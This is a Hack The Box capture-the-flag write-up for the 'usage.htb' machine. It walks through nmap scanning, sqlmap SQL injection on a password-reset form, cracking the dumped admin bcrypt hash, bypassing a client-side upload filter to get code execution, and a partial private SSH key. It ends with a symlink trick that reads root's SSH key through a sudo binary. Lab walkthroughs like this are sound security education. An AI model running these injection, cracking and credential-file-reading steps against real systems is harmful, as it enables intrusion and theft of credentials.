

# report

## usage.htb

ip target:10.10.11.18

my ip:10.10.14.38

```
(user@kali:~/Desktop/42/htb)
$ nmap -p 22,80 -A -T4 10.10.11.18
Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-06 05:09 EDT
Nmap scan report for 10.10.11.18
Host is up (0.066s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a0f8fdd304b807a063dd37dfd7eeca78 (ECDSA)
|_  256 bd22f5287727fb65baf6fd2f10c7828f (ED25519)
80/tcp    open  http      nginx 1.18.0 (Ubuntu)
|_ http-server-header: nginx/1.18.0 (Ubuntu)
|_ http-title: Did not follow redirect to http://usage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.14 seconds
```

We find a website with a lot of form. Maybe one of them is vulnerable to sql injection.

```
python3 sqlmap.py -r request.txt -p email --level 5 --risk 3 --threads 10 -dbs --batch
```

Finally we find a vulnerability on the form forgot password. Sqlmap will dump the database for us.

```
sqlmap -r request.txt -p email --level 5 --risk 3 --batch --dbms=mysql --dbs --dump --threads 10
```

```
Table: admin_users
(1 entry)
+----+-----+-----+-----+-----+-----+-----+-----+
| id | name | avatar | password | username | created_at | updated_at | remember_token |
+----+-----+-----+-----+-----+-----+-----+-----+
| 1 | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P3wR0P3U0mc24YdvL9DA9H1S6ooOMgH5XVFUPtL2 | admin | 2023-08-13 02:48:26 | 2024-06-10 15:07:20 | kThXIKu7GhLpgwStz7FCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+-----+-----+-----+-----+-----+-----+-----+
```

admin\_users table contain a hashed password. Lets try to dehash it.

```
hashcat -m 3200 decrypt.txt /usr/share/wordlists/rockyou.txt
```

```
hardware.mon:#1... 0.11. 90%
$2y$10$ohq2kLpBH/ri.P5wR0P3U0mc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1
Session.....: hashcat
Status.....: Cracked
```

username:admin password:whatever1

UG

Administrator

Dashboard

Description...

Home

Environment

PHP version	PHP/8.1.2-1ubuntu2.14
Laravel version	10.18.0
CGI	fpm-fcgi
Uname	Linux usage 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64
Server	nginx/1.18.0
Cache driver	file
Session driver	file
Queue driver	sync
Timezone	UTC
Locale	en
Env	local
URL	http://admin.usage.htb

Dependencies

php	^8.1
encore/laravel-admin	1.0.10
guzzlehttp/guzzle	^7.2
laravel/framework	^10.10
laravel/sanctum	^3.2
laravel/tinker	^2.8
symfony/filesystem	^6.3

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB https://unika.htb/inde... >>

UG Administrator

## User setting


Home > Auth > Setting

### Edit

**Username** admin

**Name** Administrator

**Avatar**



user2-160x160.jpg

user2-160x160.jpg Browse

Reset ☐ View ☐ Continue creating ☐ Continue editing Submit

We can upload file to the server but we are restricted to only png. But the sanitizing is done only client side. Using burpsuite we can make the request and change the name of the file to add .php. Now we can request the file achieve remote code execution. (See script for payload of img uploaded)

Linpeas tell us that there is private ssh key, so we can have a more stable shell.

```
uSN9BgVTFcQY4BCW40q0LCE16t0BZpKX6vMv77F28QFJZgZ0gv7AnK0ERK4nled5XZtQvS
OQzjAQd2ARZIMm7HQ3vTy+tMmy3k1dAdVneXwt+2AfyPDnAVQfmCBABmJeSrgzvKuyIU0J
ZkEZhOsYdlmhPejZoY/CWvD16Z/6II2a0JgNmHZEIRUVVf8GeFVo0XqSWa589eXmb3v/M9
dIaqM9U3RV1qfe9yFdkZmdSDMhHbBAyl573brrqZ+Tt+jkx3pTgkNdikfy3Ng11N/437hs
UYz8fLG2biIf4/qjgcUcWKjJjRtw1Tab48g34/LofevamNHq7b55iyxa1iJ75gz8JZAAAA
wQDN2m/GK1WOxOxawRvDDTKq4/8+niL+/lJyVp5AohmKa89iHxZQGaBb1Z/vmZ1pDCB9+D
aiGYNumx0Q8HEHh5P8MkcJpKRV9rESHikhw8GqwHuhGUNZtIDLe60BzT6Dnp0oCzEjfk9k
gHPrtLW78D2BMbCHULdLaohYgr4LWsp6xvksnHtTsN0+mTcNLZU8npesS00osFIgVAjBA6
6bLOVm/zpxsWLNx6kLi41beKu0yY9Jvk7zZfZd75w9PGRfnc4AAADBA00zmCSzphDCsEmu
L7iNP0RHSSnB9NjfbZrZF0LIwCBWdjDvr/FnSN75LZV8sS8Sd/Bn0A7JgLi70ps2sBeqNF
SD05fc5GcPmySL0/sfMijwFYIg75dXBGBDftBlfvnZZhseNovdTkGTtFwdN+/bYWKN58pw
JSb7iUaZHy80a06BmhoyNZo4I0gDknvkfk9wHDuYNHdRnJnDuWQVfbRwnJY90KSQcAaHhM
tCDkmmKv42y/I6G+nVoCaGWJHpyLzh7QAAAMEA+K8JbG54+PQryAYqC4OuGuJaojDD4pX0
s1KWvPVHa00VA54VG4KjRfLKnPbLzGDhYRRtgB0C/40J3gY7uNdbXhe07Rh1Msx3nsTT9v
iRSpmo2FKJ764zAUVuv0J8FLyfc20B4uaaQp0pYRgoA5G2BxjtWnCCjvr2lnj/J3BmKcz/
b2e7L0VKD4cNk9DsAWwagAK2ZRHlQ5J60udocmNBEugyGe8ztkRh1PYCB8W1Jqkygc8kpT
63zj5LQZw2/NvnAAAACmRhc2hAdXNhZ2U=
-----END OPENSSH PRIVATE KEY-----
```

```
(user42@user42)-[~/Downloads]
$ ssh dash@usage.htb -i key_rsa
```

sudo -l as xander tells us that we can use sudo for usage\_management binary.

```
cd /var/www/html
```

```
touch @id_rsa
```

```
ln -s /root/.ssh/id_rsa id_rsa
```

```
sudo usage_management
```